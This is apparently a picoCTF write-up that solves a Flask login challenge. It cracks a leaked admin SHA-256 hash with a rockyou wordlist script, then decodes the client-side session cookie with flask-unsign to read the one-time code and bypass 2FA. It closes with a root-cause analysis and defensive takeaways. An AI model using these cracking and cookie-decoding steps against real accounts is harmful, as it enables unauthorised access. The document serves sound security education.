Post cover image

August 26, 2026

picoCTF Medium — No FA Writeup

Challenge Overview

By p0nther

3 min read

Challenge Overview

We are given the source code (app.py) and a leaked SQLite database (users.db).

The application contains four endpoints:

/
/login
/two_fa
/logout

To obtain the flag, we must authenticate as the admin user.

The first step is understanding how authentication works.

Enumerating the Database

Since a database dump is provided, let's inspect it:

sqlite3 users.db

List the tables:

.tables

View the schema:

.schema users

Output:

CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT UNIQUE NOT NULL,
    email TEXT NOT NULL,
    password TEXT NOT NULL,
    two_fa BOOLEAN NOT NULL DEFAULT 0
);

Let's inspect the user records:

SELECT * FROM users;

Among the results, one record immediately stands out:

5|admin|iamadmin@nfs.com|c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67|1

This tells us:

Username : admin
Email    : iamadmin@nfs.com
Password : c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
2FA      : Enabled

The password is stored as a SHA-256 hash.

Understanding the Login Logic

Reviewing the source code reveals the authentication check:

user = db.get_user_by_username(username)
if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:

The application hashes our supplied password and compares it against the stored hash.

Therefore, we need to recover the plaintext password corresponding to:

c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67

Cracking the Admin Password

We could use an online service such as CrackStation, but since this is a learning exercise, let's crack it ourselves.

Python Script

import hashlib
target_hash = "c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67"
with open("/usr/share/eaphammer/wordlists/rockyou.txt", "r", errors="ignore") as f:
    for candidate in f:
        word = candidate.strip()
        if hashlib.sha256(word.encode()).hexdigest() == target_hash:
            print(f"[+] Found match: {word}")
            break

Run the script:

python3 crack.py

Output:

[+] Found match: apple@123

We now have valid administrator credentials:

Username: admin
Password: apple@123

The 2FA Roadblock

After logging in, the application redirects us to:

/two_fa

The page requests a verification code supposedly sent to the administrator's email.

At first glance, brute-forcing the OTP seems viable because it is only four digits:

otp = str(random.randint(1000, 9999))

This gives only:

9000 possible values

I initially wrote a brute-force script.

However, after reviewing the source code more carefully, I noticed the OTP expires after two minutes:

if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:

This means the OTP must be guessed before expiration.

While brute force may sound possible, there is a much easier path hidden in the code.

Source Code Review

The OTP generation logic is:

otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'

Later, verification is performed using:

stored_otp = session['otp_secret']
if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:

The critical observation is that the OTP is stored inside the Flask session:

session['otp_secret'] = otp

At this point, I started wondering:

Where is the Flask session stored?

Flask's default session mechanism stores data inside a signed client-side cookie.

That means sensitive values placed in the session may be visible to the user.

After logging in as admin, I captured the session cookie:

session=.eJwty0sKgCAQANC7zFoirZzwMjHkJII_1FbR3XPR9sF7IGTn2IKBi0JjEJB7ORqflftAXFb1W_eRW6dYwEjcERXOuEybklorAXfjmijyOGSjT_B-LDgcKg.ao6M4Q.jLFgmJ3d7iCYu27M6oWNxUpZ4tk

The cookie resembles a Flask session token.

Using flask-unsign, we can decode it:

flask-unsign --decode --cookie '.eJwty0sKgCAQANC7zFoirZzwMjHkJII_1FbR3XPR9sF7IGTn2IKBi0JjEJB7ORqflftAXFb1W_eRW6dYwEjcERXOuEybklorAXfjmijyOGSjT_B-LDgcKg.ao6M4Q.jLFgmJ3d7iCYu27M6oWNxUpZ4tk'

Output:

{
    'logged': 'false',
    'otp_secret': '7342',
    'otp_timestamp': 1787727073.521662,
    'username': 'admin'
}

💥 There it is.

The application is literally storing the OTP inside the client-side session cookie:

'otp_secret': '7342'

Bypassing 2FA

The verification logic simply compares our supplied OTP with the value stored in the session:

if stored_otp and otp == stored_otp:

Since we already know the OTP, we can submit:

7342

The application accepts the OTP and sets:

session['logged'] = 'true'

Authentication is complete.

Getting the Flag

After successful OTP verification, visiting / triggers:

if session.get('username') == 'admin':
    flag = os.getenv('FLAG')

Since we are now authenticated as the administrator, the application displays the flag.

BOOOOOOOOOOOOOOOMMMMMMM!!!
FLAG OBTAINED 🚩

Root Cause Analysis

The vulnerability exists because the OTP is stored in a client-accessible Flask session:

session['otp_secret'] = otp

The developer assumed the session was private server-side storage.

In reality:

OTP
 ↓
Stored in Flask Session
 ↓
Serialized into Cookie
 ↓
User Decodes Cookie
 ↓
OTP Disclosure
 ↓
2FA Bypass

Flask session cookies provide integrity through signing, but they do not provide confidentiality.

Sensitive secrets such as OTPs should never be stored inside client-readable session data.

Key Takeaways

  • Review authentication and session-management code carefully.
  • Understand how your framework stores session data.
  • Signed cookies are not encrypted cookies.
  • Sensitive values such as OTPs should remain server-side.
  • Source code review often reveals vulnerabilities faster than brute forcing.

Vulnerability

OTP Disclosure via Client-Side Session Storage

Impact

Authentication Bypass of the Administrator Account